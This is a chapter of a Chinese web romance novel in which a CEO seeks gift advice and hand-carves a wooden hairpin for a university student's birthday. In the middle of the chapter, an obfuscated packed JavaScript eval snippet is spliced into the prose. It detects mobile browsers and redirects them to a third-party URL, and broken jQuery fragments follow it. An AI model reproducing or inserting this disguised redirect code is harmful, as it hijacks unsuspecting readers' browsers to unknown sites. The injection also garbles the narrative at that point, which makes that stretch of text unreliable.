29. Round 2

作品:《当霸总绑定攻略系统后

    男人的声音有些哑,有些温柔,贺凌舟眼皮狂跳,傻在原地,忘了呼吸。


    他就是信明天傅延青把整个傅氏送给傅呈远,也不会信傅延青喜欢上了谁。


    能让傅延青有几分特别相待就难如登天,更何况是他亲口承认的“喜欢”。


    美色他不感兴趣,钱权他自己就有,这样的人,要多特别才能让他动心?


    贺凌舟久久未出声,傅延青蹙眉:“怎么?不信?”


    “是不太信。”贺凌舟摸着下巴,一脸认真地提议,“要不你让我见见?见了我就信。”


    傅延青只是淡淡看他,毫无答应的意思。


    贺凌舟碰了壁,不由暗骂自己怎么总是不长记性。


    傅延青若真想让他见,不用他提就会主动开口,如今没有开口,那就是不想让他见。


    还真有点护短的意思。


    他问不出什么,不敢再耽误下去,清了清嗓子,正面回答起傅延青的问题:“十九岁啊,不喜欢化妆品那些,是不会,还是真的不喜欢?”


    “真的不喜欢。”


    “那送点别的呢?花?香水?”


    “送过了。”傅延青低眸沉思,指了个方向,“而且这些都太贵了,你有没有不值钱的有趣一些的东西推荐?”


    贺凌舟:“?”


    什么叫不值钱的东西?


    开玩笑,他用的东西就没有不值钱的!


    傅延青只会比他更夸张。


    可他让他推荐点不值钱的,贺凌舟一时又摸不准他的态度了。


    亲自上门问生日礼物的建议,好像在乎;特别指出要不值钱的,又好像不在乎。


    正常人为了喜欢的人,哪个不是一掷千金的?


    傅延青怎么反其道而行?


    “以防万一,我先问一下,多少算不值钱?”贺凌舟拧眉开口。


    “五百。”傅延青说完又改口,“三百左右。”


    “三百万?”


    “三百块。”


    贺凌舟:“……”


    他都想问傅延青是不是在玩他了。


    三百块?他们这些人什么时候用过三百块的东西?


    “你是喜欢她还是恨她?”贺凌舟嘴角抽了抽,“三百块,你侮辱谁呢?”


    他随口一说,却见傅延青失神一瞬。


    回神后傅延青说:“太贵了她会有压力,她要还我的。”


    贺凌舟:“……我怎么听着像她不喜欢你?”


    “确实不喜欢。”


    傅延青坦然承认,面色平静,似早就接受这样的结果,贺凌舟心里一揪,连幸灾乐祸的话都说不出口了。


    第一次喜欢的人不喜欢他啊……


    联想到自己,贺凌舟觉得他们真是惨到一块去了。


    两情相悦怎么就这么难呢?


    贺凌舟叹一口气,语气沉了几分:“手工吧。她喜欢什么,你给她做一个就是了。”


    三百块的东西他想不到,但不值钱的东西,他深有体会。


    他们这些人从小到大培养的都是脑子、谈吐和见识,鲜少有培养手上功夫的,傅延青也不例外。


    不擅手工,做出来的东西自然就歪歪扭扭,不堪入目,唯一值得一提的,就是肯亲自动手的心意。


    但心意值几个钱呢?


    尤其是在不喜欢自己的人眼里。


    贺凌舟勉强一笑:“至于她喜欢什么我就不知道了,你要么自己想,要么问她。”


    *


    系统看着傅延青从贺凌舟家里离开,深觉自己真是越来越不了解他了。


    起初听到“我喜欢的人”,它已经很震惊,没想到还有更震惊的,傅延青要亲手给江知意做礼物。


    它眼睁睁看着一个没有灵魂的纸片人长出血肉,生出爱与牵挂。


    太神奇了。


    系统啧啧感叹。


    不过这或许是一件好事。


    他对江知意动了心,自然会更用心地对她,这种发自内心最真切的感情,比什么攻略手段都有用。


    *


    傍晚回到宿舍,三个舍友两个不在,一个蹲在床边正收拾鞋盒。


    听到声响,舍友转过来问:“回来这么晚?见到你那个朋友了吗?”


    “见到了。”江知意说。


    “噢,他没事吧?”


    “没事。”


    舍友忍不住笑,替她高兴:“那就好,不枉你担心这么久。”


    江知意抿唇微笑,心情确实有几分说不出的好。


    大学开学她忙碌了一阵子,等生活步入正轨,她才后知后觉意识到傅延青失约了。


    他说九月初回来,可他没有来。


    那晚她躺在床上,一遍遍想他为什么会失约。


    若放在以前,她一定会松一口气,觉得他再也不来是件好事,值得庆幸。


    可一年过去,他们经历了那么多事,他为她做了那么多,只要她不是石头心,就一定会有所动容。


    她的血肉之心告诉她,她在担心他。


    担心他出事,担心他遇到危险,担心他有什么意外。


    无数次,她看着他的头像想问问他好吗,犹豫片刻,又退缩回去。


    傅延青说他很忙,这样贸然打扰,应该不太好吧。


    还是等有一个光明正大的理由时再找他吧。


    很快,光明正大的理由来了。


    她要过生日了。


    去年生日他送了她一瓶香水,那今年,她就请他吃蛋糕吧。


    这么想着,江知意打下一行字:【好久不见,你还好吗?】


    失约也没关系,她只想问问他,他还好吗?


    好在结果是好的。


    傅延青没事。


    压在心里的那块巨石终于放下。


    想到几天后的生日,江知意微笑。


    希望她选的蛋糕他能喜欢。


    *


    十月十号生日当天,江知意先被舍友拉着出去,中午吃了顿好的,下午又在宣传部的群里被疯狂艾特,说要晚上给她过生日,顺便部室聚餐。


    群里闹得开心,江知意不由失笑。


    宣传部一向爱玩爱闹,喜欢找各种由头出去聚餐,她知道自己过生日只是给他们找了个借口,但看着满屏的生日快乐,她还是忍不住生出细碎的幸福感。


    苏语琴和江淮平又忘了她的生日,反倒是认识一个多月的新同学在吵着嚷着给她过生日,多讽刺。


    不过和以前不同,她已经不会再为这些小事而难过了。


    从十八岁到十九岁,这大概就是她最大的进步。


    中午和晚上的时间都被排满,江知意只能见缝插针地约傅延青下午见面。


    下午第一节下课,部室其他专业的同学帮她带来了蛋糕,她提着蛋糕走到南门,发现傅延青已经等在那里了


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15919384|171738||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    。


    甚至就坐在上次见面的那棵树下。


    十月入了秋,路边都是金灿灿的梧桐叶。


    她踩着落叶来到他面前,发现他今日罕见地戴了一双黑色皮手套。


    他的手一向修长白皙,骨节分明,如今骤然被皮手套遮住,她还有些不习惯。


    江知意在他身旁坐下,纳闷道:“你今天怎么戴手套了?”


    认识他一年多,这还是她第一次见他戴手套。


    傅延青抬头:“偶尔会戴。”


    没再给她追问的机会,他叉开话题,拿出一个长条木盒道:“给你的礼物。”


    他示意:“打开看看。”


    江知意接过木盒打开,里面是一根木簪。


    毫无修饰、朴实至极的木簪。


    唯一特别的就是木簪侧面刻了几个字母。


    她拿起来细看,上面写着:JZY。


    JZY,江知意。


    是她的名字。


    她伸手摩挲木簪,发现簪身手感粗糙,有几处棱角摸起来甚至钝钝的,有一种未打磨完成的半成品的感觉。


    半成品?


    不对,这不符合傅延青的审美。


    以他的品位,这做工或许是什么她不懂的艺术?


    不过话说回来,这簪子摸着不怎么样,外形上倒是挺好看的,有一种大道至简的美。


    干净,简约,大气。


    她越看越喜欢,摩挲几下装回盒子,抬头问傅延青:“怎么想起来送我簪子?”


    “看你头发长了,想着你盘发会用到。”傅延青回答。


    原来如此。


    她又问:“这根簪子多少钱?贵吗?我看它触感挺特别,不会是什么珍藏品吧?”


    “不值钱。”傅延青平静回答。


    江知意歪了歪头,一时有些反应不过来。


    在傅延青身边见过太多名贵东西,她很难把“不值钱”三个字和“傅延青”联系到一起。


    反应几秒后她说:“不值钱是多少钱?对你来说就算不值钱也应该有几千几百吧。”


    “没有。”傅延青说,“不值钱的意思就是零。”


    “什么叫零?”


    “意思就是……”男人无奈轻笑,“不是买的,是我做的。第一次做,做得不好,你玩几天要是不喜欢,就扔了吧。”


    见江知意怔在原地一副难以理解的样子,他继续:“簪子的手感,没摸出来吗?”


    江知意:“……”


    她张了张嘴,好一会儿才听见自己的声音:“你做的?”


    傅延青点头。


    心跳突然失控,她低头拿出簪子重新细看,那些粗暴和硌手的地方在一瞬间有了解释。


    对啊。


    若是买的簪子,且不说工艺如何,必定触手光滑,而这支……


    怎么会呢?


    傅延青怎么会给她做簪子呢?


    他这样的人要什么没有,何必费时费力,亲手给她做簪子?


    少女握紧簪子,缓缓抬头看他。


    男人眸光平静,好似在说一件再正常不过的事,如同吃饭喝水那么简单。


    他并不觉得自己亲手做的东西有什么价值,以至于轻描淡写说出“不值钱”三个字,轻描淡写说出“玩几天就扔了”这样的话。


    “你……给别人做过东西吗?”


    傅延青:“你是第一个。”